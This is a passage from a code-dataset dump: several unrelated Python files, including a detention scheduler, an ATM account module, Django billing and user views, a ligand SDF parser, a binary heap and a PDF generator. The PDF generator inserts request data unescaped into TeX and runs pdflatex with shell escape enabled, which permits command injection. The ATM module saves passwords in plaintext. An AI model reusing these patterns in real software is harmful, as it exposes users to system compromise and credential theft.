print(((len(tempdata)), Student, self.eventid))\n cur.execute(cmd, (x, Student[0], self.eventid), )\n con.commit()\n else:\n pass\n\n def add_teachers(self):\n for Teacher in self.ListTeach:\n if Teacher:\n self.TEACHID = Teacher\n cmd = 'SELECT ComID FROM CommitmentsTeacher'\n cur.execute(cmd)\n tempdata = cur.fetchall()\n x = tempdata[-1:][0][0]\n x = int(x) + 1\n cmd = 'SELECT * FROM Events INNER JOIN CommitmentsTeacher WHERE CommitmentsTeacher.TeacherID = ?' \\\n ' AND Events.Date = ? AND Events.Time BETWEEN ? AND ?'\n cur.execute(cmd, (Teacher[0][0], self.date, self.tlb, self.tub,))\n checkdata = cur.fetchall()\n if checkdata:\n print(\"Double event\")\n error_string = \"Teacher % has a double detention\"\n error_string = error_string.replace(\"%\", str(Teacher[0][0]))\n QtGui.QMessageBox.information(self, \"Error\", error_string)\n pass\n else:\n cmd = 'INSERT INTO CommitmentsTeacher (ComID, TeacherID, EventID) VALUES (?,?,?)'\n cur.execute(cmd, (x, Teacher[0][0], self.eventid,))\n con.commit()\n else:\n pass\n","sub_path":"documentation_code/DevBuilds/CreateNewEventDone.py","file_name":"CreateNewEventDone.py","file_ext":"py","file_size_in_byte":11092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"580344711","text":"# coding:utf-8\nfrom atm.core.orm import ResponseData\nfrom atm.db.account_sample import account_sample, account_flow_sample\nfrom atm.conf.settings import DB_TYPE, DB_Accounts, DB_Flows_History\nfrom datetime import datetime\nimport os\nimport json\nimport logging\n\n\nlogger = logging.getLogger(\"atm.accounts\")\n\n\ndef create_account(account_name, password1, password2, balance=15000):\n \"\"\"创建新账户\"\"\"\n if account_is_exists(account_name):\n code = 400\n msg = u\"创建失败,账户{0}已存在\".format(account_name)\n else:\n if password1 != password2:\n code = 400\n msg = u\"创建失败,账户{0}的两次设置密码不一致\".format(account_name)\n else:\n resp = account_sample(account_name, password1, balance)\n if resp.code == 200:\n resp = save_account(resp.data.__dict__)\n code = resp.code\n msg = resp.msg\n logger.debug(ResponseData(code, msg).__dict__)\n\n return ResponseData(code, msg)\n\n\ndef load_account(name):\n \"\"\"加载账户数据\"\"\"\n if DB_TYPE == \"FileStorage\":\n account_file = os.path.join(DB_Accounts, \"{0}.json\".format(name))\n if not os.path.exists(account_file):\n code = 400\n msg = u\"账户{0}不存在,加载数据失败\".format(name)\n data = None\n else:\n with open(account_file, \"r\") as f:\n data = json.loads(f.read().strip())\n code = 200\n msg = \"账户{0}的数据加载成功\".format(name)\n else:\n code = 400\n msg = u\"暂不支持{0}类型数据库,请联系管理员\".format(DB_TYPE)\n data = None\n logger.debug(ResponseData(code, msg, data).__dict__)\n\n return ResponseData(code, msg, data)\n\n\ndef save_account(account):\n \"\"\"保存账户数据,写入到存储文件或数据库\"\"\"\n if DB_TYPE == \"FileStorage\":\n account_file = os.path.join(DB_Accounts, \"{0}.json\".format(account[\"name\"]))\n account_json = json.dumps(account)\n with open(account_file, \"w\") as f:\n f.write(account_json)\n f.flush()\n code = 200\n msg = u\"账户{0}信息保存成功\".format(account[\"name\"])\n else:\n code = 400\n msg = u\"暂不支持{0}类型数据库,请联系管理员\".format(DB_TYPE)\n logger.debug(ResponseData(code, msg).__dict__)\n\n return ResponseData(code, msg)\n\n\ndef account_is_exists(name):\n \"\"\"检测账户是否存在\"\"\"\n if DB_TYPE == \"FileStorage\":\n account_file = os.path.join(DB_Accounts, \"{0}.json\".format(name))\n if os.path.exists(account_file):\n return True\n else:\n msg = u\"暂不支持{0}类型数据库,请联系管理员\".format(DB_TYPE)\n raise Exception(msg)\n\n\ndef settle_account(account, money, flag=0):\n \"\"\"结算功能:\n flag=0:表示支出业务;\n flag=1:表示取现业务,取现收取5%手续费;\n flag=2:表示存入业务;\n \"\"\"\n if flag == 0:\n if account[\"balance\"] >= money:\n account[\"balance\"] -= money\n save_account(account)\n code = 200\n msg = u\"结算成功,账户{0}扣款支出{1}元,当前余额为:{2}元\".format(account[\"name\"], money, account[\"balance\"])\n else:\n code = 400\n msg = u\"结算失败,账户{0}的余额不足,当前余额为:{1}元\".format(account[\"name\"], account[\"balance\"])\n elif flag == 1:\n total_money = float(money) * (1 + 0.05)\n if account[\"balance\"] >= total_money:\n account[\"balance\"] -= total_money\n save_account(account)\n code = 200\n msg = u\"结算成功,账户{0}扣款支出{1}元(包含手续费{2}元),当前余额为:{3}元\"\\\n .format(account[\"name\"], total_money, money*0.05, account[\"balance\"])\n else:\n code = 400\n msg = u\"结算失败,账户{0}的余额不足,当前余额为:{1}元\".format(account[\"name\"], account[\"balance\"])\n elif flag == 2:\n account[\"balance\"] += float(money)\n save_account(account)\n code = 200\n msg = u\"结算成功,账户{0}存入{1}元,当前余额为:{2}元\".format(account[\"name\"], money, account[\"balance\"])\n else:\n code = 400\n msg = u\"暂不支持此结算方式\"\n\n logger.debug(ResponseData(code, msg).__dict__)\n\n return ResponseData(code, msg)\n\n\ndef frozen_account(name):\n \"\"\"冻结账户\"\"\"\n rsp = load_account(name)\n if rsp.code == 200:\n account = rsp.data\n if account[\"locked\"] is False:\n account[\"locked\"] = True\n rsp = save_account(account)\n if rsp.code == 200:\n code = 200\n msg = u\"账户{0}冻结成功\".format(name)\n else:\n code = 400\n msg = u\"账户{0}冻结失败,原因:{1}\".format(name, rsp.msg)\n else:\n code = 400\n msg = u\"账户{0}已经是冻结状态,无需再次冻结\".format(name)\n else:\n code = 400\n msg = u\"账户{0}冻结失败,原因:{1}\".format(name, rsp.msg)\n logger.debug(ResponseData(code, msg).__dict__)\n\n return ResponseData(code, msg)\n\n\ndef thawing_account(name):\n \"\"\"解冻账户\"\"\"\n rsp = load_account(name)\n if rsp.code == 200:\n account = rsp.data\n if account[\"locked\"] is True:\n account[\"locked\"] = False\n rsp = save_account(account)\n if rsp.code == 200:\n code = 200\n msg = u\"账户{0}解冻成功\".format(name)\n else:\n code = 400\n msg = u\"账户{0}解冻失败,原因:{1}\".format(name, rsp.msg)\n else:\n code = 400\n msg = u\"账户{0}是正常未冻结状态,无需解冻\".format(name)\n else:\n code = 400\n msg = u\"账户{0}解冻失败,原因:{1}\".format(name, rsp.msg)\n logger.debug(ResponseData(code, msg).__dict__)\n\n return ResponseData(code, msg)\n\n\ndef account_flow(account_name, action, details):\n \"\"\"记录账户流水\"\"\"\n if DB_TYPE == \"FileStorage\":\n now = datetime.now()\n time_stamp = now.strftime(\"%Y-%m-%d %H:%M:%S\")\n rsp = account_flow_sample(time_stamp, account_name, action, details)\n if rsp.code == 200:\n flow = rsp.data\n tmp = \"flows_history_{0}_{1}.json\".format(now.year, now.month)\n flows_history_file = os.path.join(DB_Flows_History, tmp)\n with open(flows_history_file, \"a\") as f:\n f.write(\"{0}\\n\".format(json.dumps(flow.__dict__)))\n f.flush()\n code = 200\n msg = u\"账户流水入库成功,流水详情:{0}\".format(flow.__dict__)\n else:\n code = 400\n msg = u\"账户流水入库失败,失败原因:{0}\".format(rsp.msg)\n else:\n code = 400\n msg = u\"暂不支持{0}类型数据库,请联系管理员\".format(DB_TYPE)\n logger.debug(ResponseData(code, msg).__dict__)\n\n return ResponseData(code, msg)\n\n\ndef query_account_flow(account_name, year, month):\n \"\"\"查询账户单月流水记录\"\"\"\n flow_list = list()\n if DB_TYPE == \"FileStorage\":\n tmp = \"flows_history_{0}_{1}.json\".format(year, month)\n flows_history_file = os.path.join(DB_Flows_History, tmp)\n if os.path.exists(flows_history_file):\n with open(flows_history_file, \"r\") as f:\n for flow in f:\n if account_name == json.loads(flow)[\"account_name\"]:\n flow_list.append(flow)\n code = 200\n msg = u\"查询成功\"\n else:\n code = 400\n msg = u\"查询失败,无相关流水信息\"\n else:\n code = 400\n msg = u\"暂不支持{0}类型数据库,请联系管理员\".format(DB_TYPE)\n logger.debug(ResponseData(code, msg, flow_list).__dict__)\n\n return ResponseData(code, msg, flow_list)\n\n\ndef reset_account(account_name, password1, password2):\n \"\"\"重置账户密码\"\"\"\n if not account_is_exists(account_name):\n code = 400\n msg = u\"重置密码失败,账户{0}不存在\".format(account_name)\n else:\n if password1 != password2:\n code = 400\n msg = u\"重置密码失败,账户{0}的两次设置密码不一致\".format(account_name)\n else:\n resp = load_account(account_name)\n if resp.code == 200:\n account = resp.data\n account[\"password\"] = password1\n save_account(account)\n code = 200\n msg = u\"账户{0}重置密码成功\".format(account_name)\n else:\n code = resp.code\n msg = resp.msg\n logger.debug(ResponseData(code, msg).__dict__)\n\n return ResponseData(code, msg)\n","sub_path":"14、练习的项目/5_ATM+购物商城程序/shopping_mall/atm/core/accounts.py","file_name":"accounts.py","file_ext":"py","file_size_in_byte":8938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"544246805","text":"import calendar\nfrom datetime import datetime, timedelta\nfrom django.utils import timezone\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.generics import CreateAPIView\nfrom rest_framework.response import Response\nfrom rest_framework.viewsets import GenericViewSet\nfrom .exceptions import UnprocessableEntityError\nfrom .models import CallEndRecord\nfrom .pagination import TelephonyBillPagination\nfrom .serializers import CallEndRecordCreateSerializer, CallRecordSerializer, CallStartRecordSerializer\n\n\nclass CallStartRecordAPIView(CreateAPIView):\n serializer_class = CallStartRecordSerializer\n\n\nclass CallEndRecordAPIView(CreateAPIView):\n serializer_class = CallEndRecordCreateSerializer\n\n\nclass TelephonyBillViewSet(GenericViewSet):\n pagination_class = TelephonyBillPagination\n serializer_class = CallRecordSerializer\n\n def get_queryset(self):\n source = self.request.query_params.get('source')\n period = self.request.query_params.get('period', None)\n period = self._clean_period(period)\n from_date, to_date = self._get_search_period(period)\n queryset = CallEndRecord.objects.get_calls(from_date, to_date, source=source)\n return queryset\n\n def _clean_period(self, period=None):\n today = timezone.now().replace(hour=0, minute=0, second=0, microsecond=0)\n if period:\n try:\n period = datetime.strptime(period, '%Y-%m')\n except ValueError:\n raise ValidationError({'period': 'Period is invalid. Must be in YYYY-MM format.'})\n\n same_year = today.year == period.year\n same_month = today.month == period.month\n if same_year and same_month:\n raise UnprocessableEntityError({'period': \"You can't get bills from current month.\"})\n elif same_year and today.month < period.month:\n raise UnprocessableEntityError({'period': \"You can't get bills from next months.\"})\n else:\n period = (today.replace(day=1) - timedelta(days=1)).replace(day=1)\n return period\n\n def _get_search_period(self, period: datetime) -> tuple:\n start = period\n _, last_day_of_month = calendar.monthrange(period.year, period.month)\n end = start.replace(day=last_day_of_month) + timedelta(days=1)\n return start, end\n\n def list(self, request, *args, **kwargs):\n source = self.request.query_params.get('source', None)\n if not source:\n raise ValidationError({'source': 'This field is required.'})\n period = self.request.query_params.get('period', None)\n period = self._clean_period(period)\n from_date, to_date = self._get_search_period(period)\n queryset = self.get_queryset()\n page = self.paginate_queryset(queryset)\n data = None\n if page is not None:\n serializer = self.get_serializer(page, many=True)\n r = self.get_paginated_response(serializer.data)\n data = r.data\n else:\n serializer = self.get_serializer(queryset, many=True)\n data = serializer.data\n return Response({\n 'source': source,\n 'start_period': from_date,\n 'end_period': to_date,\n **data\n })\n","sub_path":"records/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"649977776","text":"def squareRoot(x):\n x = float(x)\n guess = x \n diff = guess ** 2 - x\n ctr = 1\n print(\"guess: %f diff: %f ctr: %d\" %(guess,diff, ctr))\n while abs(diff) > 0.0001 and ctr <= 100:\n guess = guess - diff/(2*guess)\n diff = guess**2 - x\n ctr += 1\n print(\"guess: %f diff: %f ctr:%d\" % (guess, diff, ctr))\n print(\"guess: %f iteration: %d\" %(guess, ctr))\n","sub_path":"sqrt2.py","file_name":"sqrt2.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"370522570","text":"import random\nimport string\ndef main():\n name=input(\"What is your first name? \").upper()\n total=0\n for character in name:\n if character=='A' or character =='J' or character == 'S':\n character=1\n elif character=='B' or character =='K' or character == 'T':\n character=2\n elif character=='C' or character =='L' or character == 'U':\n character=3\n elif character=='D' or character =='M' or character == 'V':\n character=4\n elif character=='E' or character =='N' or character == 'W':\n character=5\n elif character=='F' or character =='O' or character == 'X':\n character=6\n elif character=='G' or character =='P' or character == 'Y':\n character=7\n elif character=='H' or character =='Q' or character == 'Z':\n character=8\n elif character=='I' or character =='R':\n character=9\n elif character==' ':\n character=0\n for letter in string.punctuation:\n if letter==character:\n character=0\n total+=character\n total=str(total)\n numtotal=int(total[0])+int(total[1])\n\n if numtotal>9 and numtotal<11:\n numtotal=random.randint(0,1)\n if numtotal==0:\n numtotal=9\n elif numtotal==1:\n numtotal=11\n elif numtotal>11 and numtotal<22:\n if numtotal<15:\n numtotal=11\n elif numtotal>=15:\n numtotal=22\n elif numtotal>22:\n numtotal=22\n while (numtotal>=1 and numtotal<=9) or numtotal==11 or numtotal==22:\n if numtotal==1:\n personality='initiating action, pioneering, leading, independent, attaining, individual'\n elif numtotal==2:\n personality='cooperation, adaptability, consideration of others, partnering, mediating'\n elif numtotal==3:\n personality='expression, verbalization, socialization, the arts, the joy of living'\n elif numtotal==4:\n personality='a foundation, order, service, struggle against limits, steady growth'\n elif numtotal==5:\n personality='expansiveness, visionary, adventure, the constructive use of freedom'\n elif numtotal==6:\n personality='responsibility, protection, nurturing, community, balance, sympathy'\n elif numtotal==7:\n personality='analysis, understanding, knowledge, awareness, studious, meditating'\n elif numtotal==8:\n personality='practical endeavors, status oriented, power seeking, material goals'\n elif numtotal==9:\n personality='humanitarian, giving nature, selflessness, obligations, creative expression'\n elif numtotal==11:\n personality='higher spiritual plane, intuitive, illumination, idealist, a dreamer'\n elif numtotal==22:\n personality='the Master Builder, large endeavors, powerful force, leadership'\n \n print('Your personality total is',numtotal)\n print()\n print('Your personality associations are', personality)\n break\n \n \n \n \nmain()\n\n\n\n\n","sub_path":"gouw_paul_6b.py","file_name":"gouw_paul_6b.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"96111925","text":"from rest_framework.permissions import IsAuthenticated\nfrom rest_framework import generics\nfrom rest_framework import views\nfrom rest_framework.response import Response\nfrom django.contrib.auth import get_user_model\n\nfrom internal import permissions as internal_permissions\nfrom users import serializers\nfrom users import permissions\n\n\nUserModel = get_user_model()\n\n\nclass CurrentUserView(views.APIView):\n \"\"\"View of the current user\n \"\"\"\n\n permission_classes = [IsAuthenticated]\n serializer_class = serializers.UserSerializer\n\n def get(self, request):\n \"\"\"Retrieve the user\n \"\"\"\n user = request.user\n serializer = self.serializer_class(user)\n\n return Response(serializer.data)\n\n\nclass UserListView(generics.ListCreateAPIView):\n \"\"\"List and creation of users\n \"\"\"\n\n model = UserModel\n queryset = UserModel.objects.all().order_by(\"username\")\n serializer_class = serializers.UserSerializer\n permission_classes = [\n IsAuthenticated,\n permissions.IsUsersManager | internal_permissions.IsReadOnly,\n ]\n\n\nclass UserView(generics.RetrieveUpdateDestroyAPIView):\n \"\"\"Edition and view of a user\n \"\"\"\n\n model = UserModel\n queryset = UserModel.objects.all()\n permission_classes = [\n IsAuthenticated,\n permissions.IsUsersManager & permissions.IsNotSelf\n | internal_permissions.IsReadOnly,\n ]\n\n def get_serializer_class(self):\n if self.request is not None and self.request.method in (\"PUT\", \"PATCH\"):\n return serializers.UserForManagerSerializer\n\n return serializers.UserSerializer\n\n\nclass PasswordView(generics.UpdateAPIView):\n \"\"\"Edition of a user password\n \"\"\"\n\n model = UserModel\n queryset = UserModel.objects.all()\n serializer_class = serializers.PasswordSerializer\n permission_classes = [IsAuthenticated, permissions.IsSelf]\n","sub_path":"dakara_server/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"391675160","text":"from http.server import BaseHTTPRequestHandler, HTTPServer\nfrom subprocess import call\nimport json\nimport os\nimport sys\n\ndef addImages(tex, images):\n i = 0\n embedded = \"\"\n immediate = \"\"\n graphics = \"\"\n for image in images:\n embedded += \"\\\\begin{{filecontents*}}{{\\jobname.embedded{0}}}\\n{1}\\n\\\\end{{filecontents*}}\\n\".format(i, image)\n immediate += \"\\\\immediate\\\\write18{{base64 -d \\\\jobname.embedded{0} > \\\\jobname-tmp{0}.pdf}}\\n\".format(i)\n graphics += \"\\\\newpage\\n\\\\fbox{{\\\\includegraphics[width=3cm]{{\\\\jobname-tmp{0}.pdf}}}}\".format(i)\n i += 1\n tex = tex.replace(\"%EMBEDDED_IMAGES%\", embedded)\n tex = tex.replace(\"%EMBEDDED_IMMEDIATE%\", immediate)\n tex = tex.replace(\"%EMBEDDED_GRAPHICS%\", graphics)\n return tex\n\ndef generateTex(values):\n tex = \"\"\n with open(\"template.tex\", \"r\") as f:\n tex = \"\".join(f.readlines())\n for field, value in values.items():\n tex = addImages(tex, value) if field == \"images\" else tex.replace(\"%{0}%\".format(field.upper()), value)\n with open(\"out.tex\", \"w\") as f:\n f.write(tex)\n\ndef generatePdf():\n call([\"pdflatex\", \"--shell-escape\", \"out.tex\"], stdout=open(os.devnull, 'wb'))\n\ndef handle(req):\n body = json.loads(req)\n\n generateTex(body)\n generatePdf()\n with open(\"out.pdf\", \"rb\") as f:\n sys.stdout.buffer.write(f.read())\n\ndef get_stdin():\n buf = \"\"\n for line in sys.stdin:\n buf = buf + line\n return buf\n\nif __name__ == \"__main__\":\n st = get_stdin()\n handle(st)\n","sub_path":"generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"459762416","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n# Script to Split initial SDF into individual ligands, and create protonated SDF's and PDB's for further parameterization for Coronavirus FAH stuff\n# Written by Dylan Novack 03/12/20 \n# Contact:tuj66686@temple.edu for Q's\n\n# Imports\nimport os,glob\nimport openbabel\nfrom rdkit import Chem \nfrom openbabel import pybel\nimport argparse\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\n# In[ ]:\n\n\n# Arguments-Raw SDF File for input\nparser = argparse.ArgumentParser(description=\"COVID-19 Ligand SDF Parser: Split initial combo ligand SDF into individual ligands and create protonated SDF's and PDB's for further parameterization for Coronavirus FAH stuff\")\nparser.add_argument('-s','--sdf', action='store', help=' Raw SDF file to be converted into protonated SDF and PDB')\narg=parser.parse_args()\nprint(f'{arg.sdf} will be Converted into simulation ready SDF and PDB' )\n\n\n# In[ ]:\n\n\n# Define Path and previous parameterizations\npath = os.getcwd()\nprint(f'Current Directory is {path}')\nLIG=[]\nfor directory in glob.glob(f'{path}/LIG*'):\n for filename in os.listdir(directory):\n if filename.endswith('h.sdf'):\n LIG.append(os.path.join(directory,filename))\nprior= len(LIG)\nprint(f'Prior Ligand Count is {prior}')\n\n\n# In[ ]:\n\n\n### Create New Directories and Unprotonated SDF's for new ligands\nlist=[]\nfor num, mol in enumerate(pybel.readfile(\"sdf\", f'{path}/{arg.sdf}'),prior+1):\n print(f'Making Directory for LIG{num}')\n os.makedirs(f'{path}/LIG{num}', exist_ok=True)\n dir = f'{path}/LIG{num}'\n list.append(dir)\n print(f'Writing Unprotonated SDF file to {dir}')\n mol.write(\"sdf\", f'{dir}/LIG{num}.sdf', overwrite=True)\n\n\n# In[ ]:\n\n\n# Make List of Unprotonated SDF Files\nLIG=[]\nfor dir in list:\n for filename in os.listdir(dir):\n if filename.endswith('.sdf'):\n LIG.append(os.path.join(dir,filename))\n\n\n# In[ ]:\n\n\n# Create Protonated SDF Files\nfor sdf in LIG:\n obConversion = openbabel.OBConversion()\n obConversion.SetInAndOutFormats(\"sdf\", \"sdf\")\n mol = openbabel.OBMol()\n obConversion.ReadFile(mol, sdf)\n base=os.path.basename(sdf)\n name=os.path.splitext(base)[0]\n dirname=os.path.dirname(sdf)\n mol.AddHydrogens()\n outMDL = obConversion.WriteFile(mol,f'{dirname}/{name}_h.sdf')\n print(f'{name} Protonated and SDF Written to {dirname}/{name}_h.sdf ')\n\n\n# In[ ]:\n\n\n# Make List of Protonated SDF Files\nLIG=[]\nfor dir in list:\n for filename in os.listdir(dir):\n if filename.endswith('h.sdf'):\n LIG.append(os.path.join(dir,filename))\nprint(LIG[0])\n\n\n# In[ ]:\n\n\n# Make Protonated PDB Files Ready to be Fed into Parameterization Pipeline\nfor sdf in LIG:\n obConversion = openbabel.OBConversion()\n obConversion.SetInAndOutFormats(\"sdf\", \"pdb\")\n mol = openbabel.OBMol()\n obConversion.ReadFile(mol, sdf)\n base=os.path.basename(sdf)\n name=os.path.splitext(base)[0]\n dirname=os.path.dirname(sdf)\n outMDL = obConversion.WriteFile(mol,f'{dirname}/{name}.pdb')\n print(f'{name} PDB Written to {dirname}/{name}.pdb' )\nprint(f'Ready to Model.' )\n\n","sub_path":"Scripts/COVID-19_SDF_parser.py","file_name":"COVID-19_SDF_parser.py","file_ext":"py","file_size_in_byte":3124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"537345826","text":"def push(heap, elem):\n heap.append(elem) # break invariant here, in just the right way\n _siftup(heap) # restore invariant\n\n\ndef left(heap, i):\n idx = 2*i + 1\n return idx if idx < len(heap) else None\n\n\ndef right(heap, i):\n idx = 2*i + 2\n return idx if idx < len(heap) else None\n\n\ndef parent(heap, i):\n assert i > 0\n return (i - 1) / 2 if i < len(heap) else None\n\n\ndef children(heap, i):\n return left(heap, i), right(heap, i)\n\n\ndef _siftup(heap):\n i = len(heap) - 1\n while i > 0:\n x = parent(heap, i)\n if heap[x] < heap[i]:\n heap[x], heap[i] = heap[i], heap[x]\n i = x\n else:\n break\n\n\ndef _siftdown(heap):\n def choose(i, x):\n heap[x], heap[i] = heap[i], heap[x]\n return x\n\n i = 0\n while i < len(heap):\n l, r = children(heap, i)\n\n if l is None:\n if r is None:\n break\n if heap[r] > heap[i]:\n i = choose(i, r)\n elif r is None:\n if l is None:\n break\n if heap[l] > heap[i]:\n i = choose(i, l)\n else:\n if heap[i] < heap[l] < heap[r] or heap[l] < heap[i] < heap[r]:\n i = choose(i, r)\n elif heap[i] < heap[r] < heap[l] or heap[r] < heap[i] < heap[l]:\n i = choose(i, l)\n else:\n break\n\n\ndef _check_invariant(heap):\n \"Check invariant for a max binary heap\"\n\n for i, elem in enumerate(heap):\n l, r = children(heap, i)\n if (l and heap[l] > elem) or (r and heap[r] > elem):\n return False\n return True\n\n\ndef test_check_invariant():\n good = [9, 8, 7, 4, -10]\n bad = [10, 9, 0, -4, 12, 14]\n\n assert _check_invariant(good), \"Max heap failed invariant check\"\n assert not _check_invariant(bad), \"Incorrect heap passed invariant check!\"\n\n\ndef test_siftup():\n heap = list(reversed(range(10)))\n modified_heap = heap + [100]\n _siftup(modified_heap)\n\n assert _check_invariant(modified_heap), \"\"\"\n _siftup did not produce a max binary heap\n modified_heap = {}\n \"\"\".format(modified_heap)\n\n\ndef test_siftdown():\n heap = list(reversed(range(4)))\n modified_heap = [-10] + heap[1:]\n _siftdown(modified_heap)\n\n assert _check_invariant(modified_heap), \"\"\"\n _siftdown did not produce a max binary heap\n modified_heap = {}\n \"\"\".format(modified_heap)\n\n\nif __name__ == \"__main__\":\n test_check_invariant()\n test_siftup()\n test_siftdown()\n","sub_path":"basic/binary_heap.py","file_name":"binary_heap.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"315330004","text":"from django.urls import path, include\nfrom . import views\nfrom rest_framework.routers import DefaultRouter\n\n\n\nrouter = DefaultRouter() \nrouter.register('Student', views.Studentview) # 2개의 URL을 만들어준다. \nrouter.register('Score', views.Scoreview)\n\nurlpatterns = [\n path('', include(router.urls)),\n path('test', views.StudentBasicView),\n path('test/', views.StudentDetailBasicView)\n # path('students', views.StudentView.as_view()), \n # path('students/', views.StudentDetailView.as_view()),\n # path('scores', views.ScoreView.as_view()),\n # path('scores/', views.ScoreDetailView.as_view()),\n # path('students/', views.StudentView),\n # path('students/', views.StudentDetailView),\n # path('scores/', views.ScoreView),\n # path('scores/', views.ScoreDetailView)\n \n]\n\n ","sub_path":"api/study/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"67958938","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, unicode_literals\nfrom google.appengine.ext import ndb\nfrom config.template_middleware import TemplateResponse\nfrom gaecookie.decorator import no_csrf\nfrom gaepermission.decorator import login_required\nfrom routes.chamado import Chamado, Chamado_Form_Table, editar_chamado, deletar, UsuarioArco\nfrom tekton import router\n\n__author__ = 'wendel'\n\n@login_required\n@no_csrf\ndef index(_logged_user, _resp):\n chaveUsuario = _logged_user.key\n queryUsuario = UsuarioArco.query(UsuarioArco.origin == chaveUsuario)\n arcos = queryUsuario.fetch()\n chaves = [arco.destination for arco in arcos]\n lista_chamados = ndb.get_multi(chaves)\n form = Chamado_Form_Table()\n queryFetch = [form.fill_with_model(cha) for cha in lista_chamados]\n editar_form_path = router.to_path(editar_chamado)\n delete_path = router.to_path(deletar)\n for cha in queryFetch:\n cha['edit_path'] = '%s/%s' % (editar_form_path, cha['id'])\n cha['delete_path'] = '%s/%s' % (delete_path, cha['id'])\n contexto={'chamados': queryFetch}\n return TemplateResponse(contexto)","sub_path":"projeto/backend/appengine/routes/chamados/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"26758698","text":"#!/usr/bin/env python\n\"\"\"Unit tests for the project2.authentcation module.\"\"\"\n\n#import sys, os\n#myPath = os.path.dirname(os.path.abspath(__file__))\n#sys.path.insert(0, myPath + '/../')\n\nfrom unittest import TestCase\nfrom mock import patch\nimport project2.authentication as auth\n#from project2 import authentication as auth\n\n\nclass StandAloneTests(TestCase):\n \"\"\"Test the stand-alone module functions.\"\"\"\n\n @patch('__builtin__.open')\n def test_login(self, mock_open):\n \"\"\"Test the login function.\"\"\"\n mock_open.return_value.read.return_value = \\\n \"george|bosco\\n\"\n self.assertTrue(auth.login('george', 'bosco'))\n\n @patch('__builtin__.open')\n def test_login_bad_creds(self, mock_open):\n \"\"\"Test the login function when bad creds are passed.\"\"\"\n mock_open.return_value.read.return_value = \\\n \"george|bosco\"\n self.assertFalse(auth.login('george', 'marbleRye'))\n\n\n @patch('__builtin__.open')\n def test_login_error(self, mock_open):\n \"\"\"Test the login function when an error happens.\"\"\"\n mock_open.side_effect = IOError()\n self.assertFalse(auth.login('george', 'bosco'))\n","sub_path":"tests/authentication_tests.py","file_name":"authentication_tests.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"90386001","text":"# Application settings\n\n# Flask settings \nDEBUG = False\n\n# Flask-restplus settings\nRESTPLUS_MASK_SWAGGER = False\nSWAGGER_UI_DOC_EXPANSION = 'list'\n\n# API metadata\nAPI_TITLE = 'Model Asset Exchange Server'\nAPI_DESC = 'An API for serving models'\nAPI_VERSION = '0.1'\n\n# Model settings\nmodels = {\n\t'resnet50': {'size': (224, 224), 'license': 'MIT'}\n}\n\n# default model\nMODEL_NAME = 'resnet50'\nDEFAULT_MODEL_PATH = 'assets/{}.h5'.format(MODEL_NAME)\n# for image models, may not be required\nMODEL_INPUT_IMG_SIZE = models[MODEL_NAME]['size']\nMODEL_LICENSE = models[MODEL_NAME]['license']\n\nMODEL_META_DATA = {\n 'id': '{}-keras-imagenet'.format(MODEL_NAME.lower()),\n 'name': '{} Keras Model'.format(MODEL_NAME),\n 'description': '{} Keras model trained on ImageNet'.format(MODEL_NAME),\n 'type': 'image_classification',\n 'license': '{}'.format(MODEL_LICENSE)\n}\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"562099285","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# ------------------------------------------------------------------------------\n# Copyright (c) 2015 James Gaston\n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions \n# are met:\n#\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright \n# notice, this list of conditions and the following disclaimer in\n# the documentation and/or other materials provided with the\n# distribution.\n# * Neither the name of pyglet nor the names of its\n# contributors may be used to endorse or promote products\n# derived from this software without specific prior written\n# permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 